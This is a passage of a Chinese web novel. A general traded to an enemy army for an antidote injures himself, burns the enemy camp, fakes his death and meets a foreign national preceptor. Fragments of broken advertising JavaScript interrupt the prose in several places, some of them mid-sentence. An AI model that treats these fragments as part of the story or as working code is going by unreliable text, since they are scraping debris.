下一秒,他们的声音仿佛被石头惊扰的鱼群,开始杂乱无章的乱窜。 “他们说陛下中毒了,要您去换解药是真的吗?” “您去了他们就不会再攻打卞城了吗?” …… “能不能不要去?” 走在最前头的李瀛已经是面色惨白,原来他一直尽力瞒着的消息,大家都已经知道了,他不敢回头看身后的人们是怎样一副表情,只是放缓了前进的脚步。 “殿下应该不会告诉你们这些吧?是谁说的?”魏离收回放在两个孩子身上的目光,一双深邃的眼眸带着恰到好处的忧伤看向身边聚过来的百姓。 魏离的面容一如当年第一次出现在京城里一样俊美,丝毫未改,一双眼睛里盛着春光和忧伤,看得人心酸楚。 “是我在基城做酒楼生意的表弟告诉我的,是基城城主有一次醉酒之后说出来的。”一名身量粗壮的黝黑大汉从人群中走出来。 原话是,“可惜了魏离,能打赢永安王和孔啼奇的大将,居然要被送去换解药,真是狡兔未死,走狗先烹,当这将才又有何用,不如安安分分当个文官,指不定还能官拜宰相。” “是真的吗?”周聚看着魏离高大的身影陷入沉默,忍不住晃了晃他的手。 “是真的。但我不能不去,我不去,陛下就会死。陛下一死,大宁就真的变成内忧外患难平的形势,小荧哥哥也教过你的,对不对?他教你分析过整个大宁的情况的。”魏离蹲下来面对他,“何况我又不是一定回不来,我会让金国人回不去的。” “可是我爹也告诉我他会回来。”但他只见到了魏离带回来的五彩绳,那枚五彩绳还系在妹妹的手腕上。 魏离看着他一脸难过的样子,没忍住摸了一把他翘起几根毛的头顶,“如果我不回来,你就跟着殿下,不想跟着殿下,就去找小荧哥哥。每个人都有自己必须做的事情,哪怕为此奉献自己的生命。” “为什么?”周聚被他摸了一把后低着头,声音带着些哭腔,为什么要为一些不一定值得的东西付出自己的生命呢? 母亲为了生下妹妹难产而亡,父亲为了抚养他们遇险而亡,魏离为的什么?是书里说的天下大义吗?可是“大义”究竟是什么? “如果实在想不明白的话,那就当这就是‘命’吧。”魏离将他和妹妹一起抱起来,一只手抱一个,穿过沉寂的人群,追上已经慢慢挪了很远的李瀛,“殿下,他们兄妹俩,就暂且交由你照看了。” “放心吧。”李瀛看着他怀里的两个孩子,他第一次对自己从小敬重的祖母产生了质疑。 ———— 叶轻天如过去的六十多个日夜一样,一早就带着一队轻骑,卷着烟尘到卞城城门前,往城门上弹石头玩。他一身银甲,在尚未完全升起的日光下闪着粼粼光芒。 “怎么走了一个月,那魏离还没到,不会是不想管你们那个老皇帝的死活,跑了吧?”心骄的少年拽着缰绳看向城门上头的守兵,有些不耐烦,魏离真会如太傅所说,为这一堆无关紧要的人来送死吗? 这么久了都没来,应该是不来了吧。换做他自己,也是要跑的。给人当牛做马出征作战,回头人家一道圣旨就让去送死,真有趣。 “闭上你的嘴,魏将军昨日就到城里了!”城上的守军已经连着听他大早上喊话好几个月了,真真是烦了。 “我可是见过魏离的,别想随便找个替身糊弄我!”叶轻天一听魏离已经在城里 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,恨不得越过城门直接进去把他揪出来,让他也试试自己亲手调制的毒药。 “我记得我和小皇子可没什么交集,何至于让您为我尽力至此啊?”魏离昨晚就宿在城墙边上的百姓家中,叶轻天喊第一句的时候他就听见了。 此刻,他一身白衣翩翩,广袖随风猎猎自缓缓打开的城门后信步走出,直直走进叶轻天的眼底。 “当日你在城门上对我放冷箭,还没什么交集?你让人在水里下毒,还没什么交集?”叶轻天这是第一次直视他的长相,那天在城楼上,黑灯瞎火的,只能看个大概,隐约能看出他容貌出众,没想到是这个样子的。 看来传闻中周朝平宁公主对他情根深种,也不是空穴来风。 他生平第一次见到这样漂亮的男子,永安王把脑袋输给他,不会是被他的样貌给迷惑了吧? “我何时对殿下放过冷箭,那日殿下身上中的箭,难道不是您自己箭囊里的吗?怎么又成我的了?”魏离对着他轻轻一笑,“这下毒,还是您比较在行,我不过是班门弄斧。” “嘴硬。”叶轻天冷哼一声,看向他身后的李瀛,“把他送过来,我让人把解药给你。” “先生……”李瀛站在魏离身后两步的距离,看着他的背影,白衣先生站在猎猎风中,衣袂蹁跹,似要乘风归去,“是我们对不住你。” “你一个人的歉意,能抵几两金?”叶轻天看着李瀛眼中的万般情绪,只觉得可笑,“你在这耽误时间,指不定你们那皇帝等不着解药活下去,哈哈哈哈哈哈,过段时间我让人去联系周朝,让他们把整个云郡都占了,一个老皇帝,早晚要死的,非得搭上一个忠臣良将。” “确实,你的歉意,一文不值。”魏离回头看向呆在原地的李瀛,“大宁,将顷。” 他的面上挂着让人如沐春风的笑意,却未达眼底半分,“幻蜃将顷风雨狂,梁倾柱折势难当。楼台高耸云天外,瞬息之间转河山。往事如烟随云散,繁华似梦化凄凉。人间多少兴亡事,都付流年似水长。” 李瀛被他看得一个字都说不出来,是了,怎么会没有怨呢?读书十余载,满腔抱负,一随太子,却终究比不得苏家贵重;二征战沙场封侯娶亲,未婚妻与人私通;三守边关困苦,未曾体验过花团锦簇,只守着自己的一方天地,却还是成了交易的货品。 魏离最终是自己走向叶轻天的军队的,他的背后,是一群含泪望着他的百姓,还有李瀛让人抓牢了的周家兄妹。 “我们这可没有多余的马了,你恐怕得自己用脚跟我们走回去了。”叶轻天坐在马上,居高临下地你看着他。 魏离没有跟他多说一句话,径直走向他,一踩马镫,借力往上,正好能坐在叶轻天身后,惊得他想要抽出腰间软剑,身后的轻骑也一阵慌乱。 “你要对殿下做什么!” 魏离伸手按住叶轻天抽剑的手,另一只手扣住他松开的缰绳,在他耳边轻轻开口,“跟我一乘难道委屈你了?” “你!”叶轻天想要挣开他的禁锢,努力了半天没有半点进展,只好眼睁睁地看着他调转马头往营地去。 太丢脸了,为什么他力气这么大啊?在风中翩飞的衣服不断地拍在叶轻天的身上,他越想越不服气,早晚要让魏离吃点苦头! “别气了,待会憋上头了,被风吹走,你们金国还得找我讨一个皇子。”魏离在马背的颠簸中,能清晰地感受到叶轻天气的不断起伏。 “你闭嘴!” 48.第 48 章 叶轻天气了一路才想起来,自己好像没有把解药给那个大宁什么王的,便迎着风声开口,“我还未将解药给他。” “那又如何?”魏离不在乎老皇帝的死活,但还是松开了手,“给了于我无益,不给只是金国恶名上又添一条言而无信罢了。” “你就真这么甘心被他们送出来?要不要打回去?像孔啼奇那样,把他们杀个片甲不留。”叶轻天心中的气已经消了,朝后面的副将扔了个青色小瓷瓶,让他送回去,反正给了大宁那个老皇帝也赶不上吃。 “对于将死之人,人们往往会多一丝仁慈,对于将顷之国也一样。”魏离看着眼前越来越近的金国营地,将马匹的速度放慢,“殿下要我来换这一瓶解药,为的是报我一箭之仇,还是另有人指示?” 叶轻天不说话,哪能让他那么轻易就知道国师的计划。 “是你们据说能呼风唤雨的国师大人,对吧?”魏离比叶轻天身量高一点,讲话的时候身上的浅淡桂花香气正扑在他耳后。 金国有一国师,是金国大长公主之子,也就是叶轻天的表哥,据说出生之时天地变色,百鸟伏拜,甫一出生就能说出顺畅的话来,听说他刚出生,喊的第一句话就是“舅舅”,是以金国皇帝特别宠爱他。他自小熟读经书道法,八岁时满城道士和尚无人能和他辩论,十岁时听说引来过白日惊雷,十六岁时能向天祈雨,被封国师。 “没有!就是我想报复你!”叶轻天侧了头看了眼身后跟着的骑兵,见自己人都跟上来之后,趁魏离松懈想要将他掀下马。没想到自己还没来得及碰到魏离的衣袖,又被魏离按住,这回可不是轻飘飘地抓一下手腕,魏离将他整个上半身都压在马脖子上,马辔上缀着的金属活扣硌在他的脸上,冷冰冰地疼着。 “你放手!”叶轻天哪里吃过这样的亏,“我待会让人把你手砍了!” “跟个小孩子似的,只会放狠话。”魏离一只手拉着缰绳,一只手按着他,驱马冲进了他们的营地,“国师说,能不伤我,尽量不伤我,对不对?” 这魏离不会是国师安插在大宁的奸细吧,怎么他们之间聊了什么他都知道? 马儿很稳地停在一片军帐之间的空地上,魏离揪着叶轻天的衣领将他带下马来。 最先跟着他们到的是叶轻天的副将,他从马上下来就提枪指着魏离,“把殿下放下!” “你别吓我呀,待会真被你们吓住了,失手把你们脆弱的小殿下掐死了怎么办?”魏离有些好笑地看着慢慢多起来的金国将士,他们将魏离和叶轻天牢牢围在中间。 “你闭嘴!”叶轻天在他手上挣扎着,“你到底是什么人,为什么会知道我和国师之间的密令!” “小殿下要先从我手上离开,才能有资格向我提问呐。”魏离的眼睛被叶轻天身上银甲映照出的光芒染上一丝银光,“我病着的时候能杀得了永安王,我如今没病,难道还不能从你这处处漏洞的军营闯出去?” 不是,国师告诉叶轻天时,说的是魏离谦逊有礼,是君子啊!这怎么看怎么不像君子吧,是疯子还差不多!别是让大宁老皇帝的做法伤了心,得了失心疯! 叶轻天也不挣扎了,摇摇头,“你们都下去,别围着了,他不会对我动手的。”要么是国师安排的奸细,要么是被大宁伤透了心的可怜将领,不管哪一个都不会在这种情况下对他动手的。 “你倒是聪明。”魏离侧头看向他,“就是功夫不怎么样,让你领兵,你们朝廷也真是大胆。” “围起来!给我把他抓住!我要他吃不了兜着走!”叶轻天是真的要被气炸了。 一群人聚在一起,动手也不是,不动手也不是。 魏离让叶轻天张牙舞爪地骂了半个时辰,才给他放开,他骂得口水都干了。但就算魏离已经把叶轻天放开了,也没人敢上前对他动手,一群人依旧围着他大眼瞪小眼。 “该用午膳了,小殿下。”等到日上中天,魏离才开口打破这片诡异的沉默。 “我们的军粮没你的份。”叶轻天咬牙切齿地盯着他。 魏离从怀中掏出一大包桂花糕,“我自己带了。” 桂花香气夹杂着甜丝丝的蜜气在空气中彻底炸开,这是魏离昨天连夜做的,用的桂花蜜糖是从云郡那边带过来的,他自己的改良版。 叶轻天第一次闻到这么香甜的桂花气味,难怪在马背上一直闻到一股桂花气味,原来是魏离怀里揣着。 他恶狠狠地瞪了魏离一眼,转身带着将士们离开。魏离说的对,凭他自己的本事,想要逃还是很简单的,在不伤害他的情况下,根本没有限制他的可能。 大部分的将士都跟着叶轻天走了,只有一位,朝着相反的方向走到魏离面前来,是接了叶轻天扔出去的那瓶解药的那个人。 “解药我还未送往大宁。”那将士看着魏离悠闲地拈糕点,有些不满。 “这和我有什么关系?我既已被交易出来,自然已经算不得大宁人。” “可你随时都能回去。” “那……把我的腿打断?”魏离连个眼神都没有分给他,专心品尝着隔夜桂花糕。 “你也是习武多年,自然知道打断两根骨头算不得什么。” “那要如何你们才能满意?你与我说这些,你们小殿下知道吗?你又是以什么身份来要求我?”魏离抬眼看他,这人,似乎是当初永安王的副将之一,命大没被射中的那位。 “把筋挑了。” 魏离笑而不语,就这么着看他,看得他心底发毛,就在他准备再次开口之时,魏离抽过了他腰间的短刃,在他还来不及反应之时,就动手了。 艳红色的血液染红了雪白的衣物,上好的锦缎上被溅上了朵朵艳红的梅花,桂花香气和血腥气纠缠在一起,竟然有些诡异的和谐。 “可以了吗?滚远点。”魏离将还在往下淌血的短刃抛回去给他,继续拿起一块新的桂花糕塞进嘴里,袖口边的血红色缓缓向两侧晕开。 那副将没能接住被扔过来的短刃,染血的短刃落在地上,发出清脆的响声。 “你在干什么?”叶轻天端着碗在锅炉边做了好久心理建设才想好,端来一份饭菜来给魏离,还没走近就看见副将面前掉下来一把带血的刀。 他不能是捅了魏离一刀吧,那还怎么和国师交代? “殿下……”副将回头也不是,不回头也不是,僵在原地不敢动弹。 “哦,我还以为是你让他来的。”魏离的袖口已经彻底被鲜血染红,他慢慢地站起来,脚踝上的血液已经蔓延到沙地上,在碰到稀疏的沙子的那一瞬间就被吸了个干净,只留下一点暗红印子。 “滚下去,让军医过来,自己去领五十军棍。”叶轻天望见那被染红大片的衣摆,跟当年姑姑吐出血来染红的衣衫重叠,他端着碗的手都有点颤抖,这还能好吗? 如果不能好,那国师是不是永远都不会原谅自己了? 国师是他的表哥,可他已经好几年没有叫过这个称呼了。他幼时最喜欢的人除了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 母亲,就是姑姑和表哥,因为他主动亲近,又和表哥年纪相仿,二人感情很好。如果没有那件事的发生,他们会一辈子都那么好。 那次夜宴,是他的十三岁生辰宴,因为母亲得宠,自己也懂得讨父皇的欢心,那是所有兄弟姐妹的生辰宴中,最豪华的一场。 但那天晚上,他最爱的母亲亲手为他下厨,做了一碗他最喜欢的酒酿圆子。本该是他一个人吃的,但母亲派人送来的时候,他正和姑姑、表哥在园子里扑萤火虫。姑姑和表哥最喜欢吃的,也是酒酿圆子,姑姑还说,她曾经吃过母亲做的酒酿圆子,那是她尝过,滋味最美的。所以,他将那碗香甜的酒酿圆子分成了三份,他们三个,都吃了。 那天夜里,据说父皇砸碎了整个寝殿里的瓷器,罢了两个御医的官职,好不容易找出对症的解药,但只救下了他和表哥,姑姑服药之后,彻底毒发。 他和表哥在姑姑的床前握着她的手,他到今天都还记得那冰冷的触感,姑姑说不出话,只是一个劲地往外吐血,整个胸前、整件衣衫、整张床上,都是血。 那是他第一次见到那么多那么多的血。 表哥一句话都没有说,只是失去的血色的嘴唇在不断颤抖着。 父皇彻查了这件事,据说是一位失宠的妃子要给他下毒,派人买通了母亲身边的女侍。 他想过去询问母亲真相,但看到母亲日渐憔悴的面容,又不忍心将怀疑宣之于口,只是自己私下想着,想着。 直到那天,表哥愤怒地进了宫,质问他,到底知不知道母亲下毒的事情,他才意识到,原来自己中毒不是母亲失手,而是母亲想好的脱罪借口。 从那以后,他和表哥,疏远了。 叶轻天将手中的碗筷放下,伸手要看魏离的伤。 魏离将手中的桂花糕递过去,“尝尝?我自己做的。” “我觉得你有点不正常。”叶轻天蹲下来掀起他被鲜血染红的衣摆,伤口还在往外流血,“大宁让你来,你就来,他让你割你就割?”好奇怪的人。 “战俘要摆清楚自己的位置。何况,更重的伤我都受过,这算什么。” 老军医来得很快,刚吃完饭,药箱都没带在身上,让自己的徒弟赶回去拿,自己先来了。 “是许小将军下的手?”这么精准地把四处筋脉都挑断了,看着都疼,这魏将军还能一副没事人的样子,坐着吃点心,这位也不是一般人。 “不是他,我自己动的手。”魏离把桂花糕都放在叶轻天的手上,低头看着老军医检查伤口。 老军医没抬头看他,只是在心里想这人是不是有病,仔细检查之后,摇摇头,“断得很干净,就算连上了,以后行动多多少少也会受些影响。” “是我没管好手底下的人。”叶轻天叹了口气,早说过不要把永安王的部下编进他的队伍里,父皇就是不听。 “小事。”以后会好的,魏离像感觉不到疼痛一般,任由老军医给他清理伤口、上药缝合,这两个时辰的治疗下来,只有叶轻天和老军医替他出了一身汗,他自己倒像是没事人。 “这样吧,你也变成废人了,要是回都城国师不要你,我养你。”叶轻天早就分府出来了,府里多养一个人还是没问题的。 “那就多谢了?”魏离挑眉看他,“天也快黑了,小殿下将我安排在哪住下?” “我让人给你搭了一个新的帐子。” 天边暮色渐沉,只有最远端的夕阳红如焰火,滚滚燃起,撕咬着天幕。 49.第 49 章 卞城的秋夜寒凉,想必也没有先生心中寒凉吧。李瀛实在是哄不住周聚兄妹二人,只能带着两个孩子和若干随从登上城门看星星……也能看见黑夜中远处的军营灯火。 夜幕下的灯火格外显眼,就算……隔着一整片辽阔荒地。 “哥哥,那边好亮啊,是不是着火了?”周娥望着那越来越亮的火光,伸出手,“好像星星掉下来哦!” 李瀛一直盯着那个方向,光亮,似乎是越来越大了,着火了? “先生说,他会让他们回不去的。”周聚望着那团黑夜中格外明亮的星火,慢慢地牵住妹妹的手。 “先生也跟爹爹一样,不会回来了对吧?”周娥低落的声音如同当头棒喝,砸得李瀛猛然回过神来。 “你们把他们带回去,我出城一趟。”他回头朝着一旁聚在一起看星星的随从吼了一句,自己转身往城墙下跑,只留下周聚兄妹还站在墙头的冷风中。 夜晚的戈壁上头浅浅地凝着一层白霜,在月光下被映照出白银一样的色彩。李瀛在月色下策马向前,他连披风也来不及拿,只穿着白日里的薄衣在风中驰骋,眼前的火光越来越近,他隐约听见了金人的谩骂声。 是真的大火,连烧几十顶军帐的大火。 月光如洗,倾洒其上,肆虐的火场被披上了一层幽蓝神秘的纱幔。火光与月色交织,蔓延成了一幅既壮丽凄美的画卷。火焰在夜风中翻腾,如同被赋予了生命的巨兽,肆意吞噬着周围的一切,将黑暗切割成明暗交错的光影碎片。 月光并不温柔地照耀在这片混乱,它冷静而清澈,骄矜地看着脚下狂热的焰火,连月华都被染上躁动不安的橘红色。织物燃的噼啪声和金人的谩骂交织扭曲地传入他的耳中。 李瀛看见魏离了。 那身洁白的袍子已经被鲜血和火焰染红,他站在火光之中,深一脚浅一脚地走着。 他是赤脚向前的,每一步都踩在燃起的焰火之上,如同一步一叩的苦行僧人,徒步在自己朝圣的轨道上。 李瀛望见了他的眼睛,很明亮,与他初次在红榜下看见的一样,安静的目光中绽放着疯狂的火光。 魏离似乎也透过大火看见他了,静静地站在原地,在疯狂扭动的火焰之中朝他挥了挥手,他清晰地看见那横在手腕和袖子上的暗红色血迹。魏离收回手,一个人静静地站立在原地,明亮的火光映照出他出尘的面容,他的衣衫被热浪吹得猎猎作响,偶有火星溅到上面,随即化作灰烬。 他的眼中毫无惧意,在李瀛向前策马之前,转身投入火海之中,李瀛还未来得及再多看一眼,那如仙的影子,已经消失在火海之中。 ——- “你!够狠的啊!”叶轻天让人包围了整片火海,守住了从大火中走出来的魏离。 魏离的脸上甚至没有沾上一丝一毫的灰烬,在月光下干净洁白,宽大的衣摆虽然已经被火燎黑,可没有半点被火焰燃烧过的痕迹。他站在皎洁的月光下平静地和近乎十万的将士对视,“回礼而已,难道小殿下还要讨回来?” “反正我现在也算是个只会写些酸腐文章的书生,反抗不得。”他弯着眼睛露出一个浅浅的笑容,看得叶轻天有些目眩神迷。 “只是群忘恩负义的东西,也值得你为他们做到这个地步?”这回是真得退兵回去了,叶轻天走上前去,踹了魏离受伤的那条腿一脚,“传令让军医上前来。” 魏离挨了这一下,虽说疼,但也没如叶轻天预想中的样子跌倒在地,反而站得稳稳的,“我为的是我自己。” 叶轻天看着他被鲜血浸透的裤腿,“谁砍的?”大火燃得很快,大家都没反应过来,乱作一团,但也不至于把魏离认作敌人,虽然火真的是他放的。 “那个五十军棍。”魏离无所谓地摊手,看向那个站在叶轻天身后的副将,“没办法,谁让我砍了他前主子的脑袋呢?” “你!”那副将一听他提起永安王,又想上前,被叶轻天喝了回去。 “真不知道国师要你干什么!”叶轻天看着他的腿还在往下淌血,顺手扶了他一把,让老军医检查得更方便些。 “真不知道小殿下为什么对我这么容忍,我可是放火烧了你们的大营。”魏离索性坐下,让老军医帮忙把被烫起来的水泡都挑了。 “要不是国师要我将你完好地带回去,我早就给你捆起来了!”叶轻天没好气地说着,其实他对魏离,也是有些……崇拜的,他的梦想是成为比永安王厉害的将领,而魏离,杀了永安王,还是病时。 而且他最敬佩的就是拥有大义的英雄,魏离……勉强也算吧。 如果可以,他还是希望魏离能归顺自己的国家,就算筋脉身手无法恢复到先前的状态,但他读过魏离的诗作、经论,当个文官也不会是碌碌无为之辈。 “那我还要好好谢谢这素未谋面的国师大人了。”魏离的面容在月光下先得柔美许多,一双眼里尽是轻松的笑意,“小殿下再帮我一个忙吧。” “什么忙?” “让魏离去死。”他的眼睛很亮,叶轻天第一次在一个人的眼睛里感受到什么叫做“眸光璀璨催星汉,灼动心海宽无垠”。 叶轻天甚至还没来得及思考他说了什么,脑袋已经先思绪一步点头应下了。 难道国师什么时候悄悄来见过魏离,真被他迷惑了,所以才让自己来接他回去?回去后国师不会把他当做男宠养起来吧? 那也太浪费了。叶轻天身后的火光还未熄灭,依旧熊熊燃烧着,给他烤出了一身薄汗。 ———— 不到半个月,魏离以身换药,沦为阶下囚后连夜烧了整个金国军营,自裁于火中的消息传遍了整个大宁。潭郡反军揭竿而起,打着为魏离鸣不平的旗号向云郡发起进攻,为首的正是前侍郎即荧。 病中未能等到解药的文帝含恨而终,李瀛和李焕这才知道,侍郎即荧就是前朝蓝氏遗孤。 蓝即荧和不知何处冒出来的蒙面将领,带着叛军一路往上,无往不利,将魏离救潭郡于水火、收复云城十六郡的故事传遍整个大宁,一时之间,整个大宁都充满了愤慨之士,一个接一个地参与到蓝即荧的复国大军之中。 “这也是你的安排?看看?”叶轻天看着端坐在马上拉着缰绳戴着兜帽啃糕饼的魏离,想要将手上的密报递给他。 魏离摆摆手,“不用看了,我知道大宁现在是什么乱象。” “这是承认了?听说你还是这个蓝即荧的恩人?他知道你还活着吗?” “不知道。”大宁只有两个人会知道他活着——静斋和尚和清净道长。 “所以你一开始就知道国师要我不能伤害你,所以义无反顾地让大宁皇室陷入困境?” “不知道,但是就算他不说,你也不会对我动手的。”魏离在马上,很高,叶轻天看不清他的表情,“因为你是个好人。”顶多算个熊孩子。 “啧。”这说了跟没说有什么区别? “再过几天就要到许昌 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了吧?”魏离吃完饼,从怀里掏出一张被火燎了角的手绘地图,下一块骸骨的位置就在许昌城中的佛塔之下。 “你到许昌有事?” “我不止到许昌有事,我还要去雪葬山和旧都。” “那不行,最多让你顺路去一下许都,雪葬山和旧都不在回都城的路线上。”叶轻天看着他被长袍掩盖住的伤腿,“在都城养好伤再去吧。”魏离要去这三个鸟不拉屎的地方干什么? “你也要去找传说中东离古国的宝藏?”叶轻天思来想去,只有这个最合理,能把三个地方联系在一起。 传说在东离古国崩解之前,旧王把整个王朝累积的财富分成七份,分别藏在了七个地方。这七个地方是哪里有许多种版本,一直以来都有无数的寻宝人前仆后继,其中流传最广的版本就是“许都、雪葬山、旧都、崆峒山、白河、天齐寺、凛都”。 不过依叶轻天来看,根本不靠谱,因为这七个地方都是金国的领土,但当年东离古国拥有的是三个国家的领土,真有七份宝藏,也不可能全都在自己国家境内。 “嗯?”魏离乍然听见“宝藏”两个字还觉得有点离奇,不过大宁那可没有这种传言,这是金国独有的?他有些困惑,“东离古国还留下了宝藏?”是只在金国境内留下了宝藏吗?金国人所称的旧都,传说就是当年东离古国的都城,听说那王上自杀的跳台还完好保存着。 “你不是为了宝藏,那是为了什么?” “我是来收尸的,我有一个朋友,他得罪了人,被人分尸了,分了三块在你们这。” “分尸!他怎么得罪人啦?”这么惨。 “因为他长得太丑了,像怪物一样,吓到贵人了。”魏离看着眼前渐渐清晰的城池中,高耸出来的尖塔,塔顶亮亮的,像缀在云间的星辰。 “你们大宁的人,都这么残忍?也是,听说孔啼奇就是因为自己女儿被你们公主碾死了,才献城的。不过要是我啊,我直接带着大军上都城,把那个什么公主活拧成三截!”叶轻天跟着马蹄的节奏,慢慢地走着。 他只牵了一匹马出来,原先是拉了个马车的,想让魏离坐的舒服些,结果那马车箱半路散架了,只剩下这匹马了。 “要是他能生在金国,或许就不会发生这种事情了吧……”魏离轻飘飘的声音穿透着渐渐暗沉下来的天幕。 “那肯定啊,我们可不像你们大宁,重文轻武就算了,还都奇奇怪怪的,干的都不像是人能做出来的。”叶轻天在边境这几个月可是听说了很多大宁那边的八卦消息,“那个什么苏柳玉,我以前见过一回,那时候我去大宁做客,多漂亮一姑娘啊,听说被她妹妹烧死了,真的假的?” “真的。” “还有那个太子,封锁卞城的消息,想借我们的手害他亲弟弟,真的假的?” “真的。” “还有还有,呃,听说你未婚妻就是那个碾死孔啼奇女儿的公主,她还逃婚和苏柳玉的哥哥私奔了,真的假的?” “……真的。” “还有那个,造反头子,蓝即荧是吧,他姐姐差点被你们那的礼官送给周朝?” “嗯。” “那潭郡天灾三五年没人管……” “真的。” “那蓝即荧从潭郡开始造反,倒是挺有脑子的……不会是你安排的吧?”听说魏离之前瞒着所有人去潭郡赈过灾。 “你问题好多。” 那就是真的了,叶轻天闭上嘴。 50.第 50 章 许昌城是金国的佛都,不似一般城池建在平地开阔之处,而是依山而建,自山上引水而下。城中多寺庙佛塔,其中最高的那座,名为“光慈”,据说里面供奉着从东离古国流传至今的圣僧舍利。 叶轻天进城的第一件事就是再买一辆新的马车,他可不愿意继续像个马夫一样走在马腿边上。魏离趁着他和商人交谈的空档,仔细观察了一下,这个许都城里,倒是连房子样式都跟红墙金瓦的寺院有些相似。 不远处就是那座极高的“光慈塔”,在阳光的温柔挥洒下,高塔巍峨挺立,慈悲低眉,静静地俯瞰着下方从四面聚来的虔诚信徒。 信徒们自城中的四面八方而来,身着盛装,长袍翻飞。男子手中都捧着黄白相间的姜黄花,花型淡雅,似蝴蝶留驻手心,振翅欲飞。女子手中都护着一盏莲花红烛,明灭不定的火光在细嫩的手心闪烁,如掌心生火莲,瑶瑶婷婷。 他们的脸上挂着虔诚的敬意,脚步有序向前,绕着光慈塔来回行走,香烛火光和淡黄色的花朵儿渐渐重叠在一起,染成一幅摄人心魄的画卷。 他们围绕着光慈塔,缓缓行进,庄重有力,伴着浑厚低沉的诵经梵音和节奏性响起的钟鸣,将信仰传遍整座城池。 “法会?”魏离看向叶轻天,本地人应该更懂吧。 “应该是,许昌城每个月初一十五都会举行一整天的法会仪式,下午应该还会有高僧来讲经。”叶轻天将钱交付给老板,给马套上车,示意魏离上车。 “小哥知道得挺清楚啊。”老板借过钱,笑的眼睛都挤在一起,“这次来的可是国师大人!我下午也要早点去抢个前排的位置!” 叶轻天一愣,小声嘟囔着,“他也没和我说啊。”他还没想好到底要怎么和国师解释魏离这一身伤。 “怕挨骂?” “没有。”叶轻天看着魏离进了马车,又到旁边的点心铺子买了包桂花糖糕塞进车里,“垫垫肚子。”路边摊就不吃了,既然国师在,那肯定已经准备好吃的了。 不是他吹,国师算得很准,算他们什么时候找到他那肯定是手拿把掐,一分都不会差的。 “你们国师……是个和尚?”叶轻天刚刚说的是“高僧”吧? “不是,但所有和尚加起来都不一定讲得过他。” “你对这个国师,还挺崇拜的。” “没有!” 魏离在车厢中轻轻一笑,笑得叶轻天一恼。叶轻天正准备开口辩解,身后就传来他这时候最害怕听见的声音。 “小殿下。” 魏离好奇地撩开门帘,马车边上站着一位身形修丽的男子,一身淡蓝色衣衫,袖口用银线绣上了浅浅的香兰纹样,腰间缀着两串红缨玉佩,一双微微下垂的圆眼看着叶轻天,眼中带着几分无奈的温柔。 “国、国师。”叶轻天紧张得缰绳都没拽好,勒了马儿一下,惊得骏马长嘶一声。 “见过魏先生,我名齐九歌,先生叫我九歌便是。”齐九歌已经不想多看叶轻天这副没出息的样子一眼。 “那不妥,小殿下都还没能叫你表哥,我称你名字多不好。”魏离看着叶轻天的脸色一变再变,觉得有些意思。 齐九歌终于是又分给这个便宜表弟一个完整的眼神,“我又不曾禁止他唤我表哥,是他自己不愿。”他比叶轻天大个三岁,当然明白当年的事情怪不得叶轻天。 “表、表哥。”叶轻天好不容易才动了动嘴唇,唤出那个自己藏起来多年的称呼,他这意思,是原谅自己了吗? “真有意思。那么,能呼风唤雨的国师大人,您大费周章让小殿下带我来,是为了什么?”魏离拆开叶轻天买来的糕点,递给他们。 齐九歌犹豫了一瞬间,拿了一块,“想让你帮个忙。” 叶轻天见表哥拿了,就也伸手拿了一块,也不知道这许昌的桂花糖糕好不好吃,他那天晚上吃了一块魏离做的桂花糕,那真是惊为天人,他生平第一次吃到那样独特的桂花糕。 “这里不好说话,等你讲完经,我们在慈光塔下见吧。”魏离心中已经有了几分猜测了,这国师,恐怕已经知晓自己真正的身份了。 “好。”齐九歌从怀中掏出一张冰蓝色的帕子,仔细地将嘴角的糕点屑擦了个干净,又嫌弃地拿了张新的丢给叶轻天,“把嘴巴擦干净。” “唔、嗯!”叶轻天好不容易才将噎了满嘴的糕点屑咽下去,接住那张帕子。 他监督叶轻天把嘴角擦干净后,才行礼离开。 魏离望着他离开的背影,看向叶轻天,“你表哥他出生时,真的有百鸟伏拜?” “应该是真的吧,我父皇是这么说的,还说他一出生就会叫舅舅呢。” “那他如今,可有婚配?” “没有,我父皇给他相看了好多个大家闺秀,他没一个看上的,后面干脆就推辞了,说什么他算到自己的良人将要出现。”这“将要”已经三年了。 魏离叹了口气,放下车帘子,“找个地方吃午饭吧小殿下,下午我们也去听国师讲经。” “啊?为什么?”叶轻天是一点都不想听啊,他觉得自己可能是天生就没有佛缘,每次听讲,必瞌睡,但是先前又因为对表哥有愧疚之心,硬撑着不低头,但迷迷糊糊闭着眼睛,被父皇看见,骂了好长一段时间。 魏离没有回答他,低头看着自己被包扎起来的伤口,思绪有些混乱,觉得自己的猜测有些荒谬,索性不想了,闭上眼睛,听着这满城的梵音,理好下一步的安排。 ———— 魏离虽然在玄山寺中待过一段时间,但讲经会还是第一次参加,他也是第一次感受什么是信仰的力量。 满场座无虚席,连带着角落都占满了人,他认真观察过整场的人们,估计只有叶轻天在犯困。他们的脸上,都浮现着一种若有所思若有所悟的表情,连被妇人抱 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在怀中的婴孩都未曾发出一丝啼哭。 好可怕。回过神来,发现齐九歌已经开始念结语了,他伸手推醒头已经快要埋到腿间的叶轻天,“要结束了。” “唔?”是在做梦吗,他为什么会来听国师讲经?叶轻天茫然地看着魏离,伸手扶住他,跟着人群慢慢地离开。 魏离在一来一回的过程中,差不多已经摸清了光慈塔的构造,但始终没能找到往下走的暗道,总不能,骸骨跟圣僧舍利供奉在一起? 魏离带着叶轻天,挑了个人少的地方待着,等齐九歌应付完信客。 佛塔内燃着安静的檀香,在柔和昏黄的灯光下徐徐往上盘旋,轻轻地引人入静谧的脱俗的净土。佛塔内壁端坐着许多佛像,精心雕琢过后,覆盖上昂贵金箔的佛像,栩栩如生,菩萨低眉,金刚怒目,慈悲而威严。 “魏先生。”齐九歌拜别最后一位信客,回头就见魏离牵着自家表弟躲在阴暗角落里观摩佛像,像两只从土里冒出头来的鼹鼠,恍惚间让他回想起往日带着叶轻天偷偷瞒着家里人到佛寺里观经论经的日子。 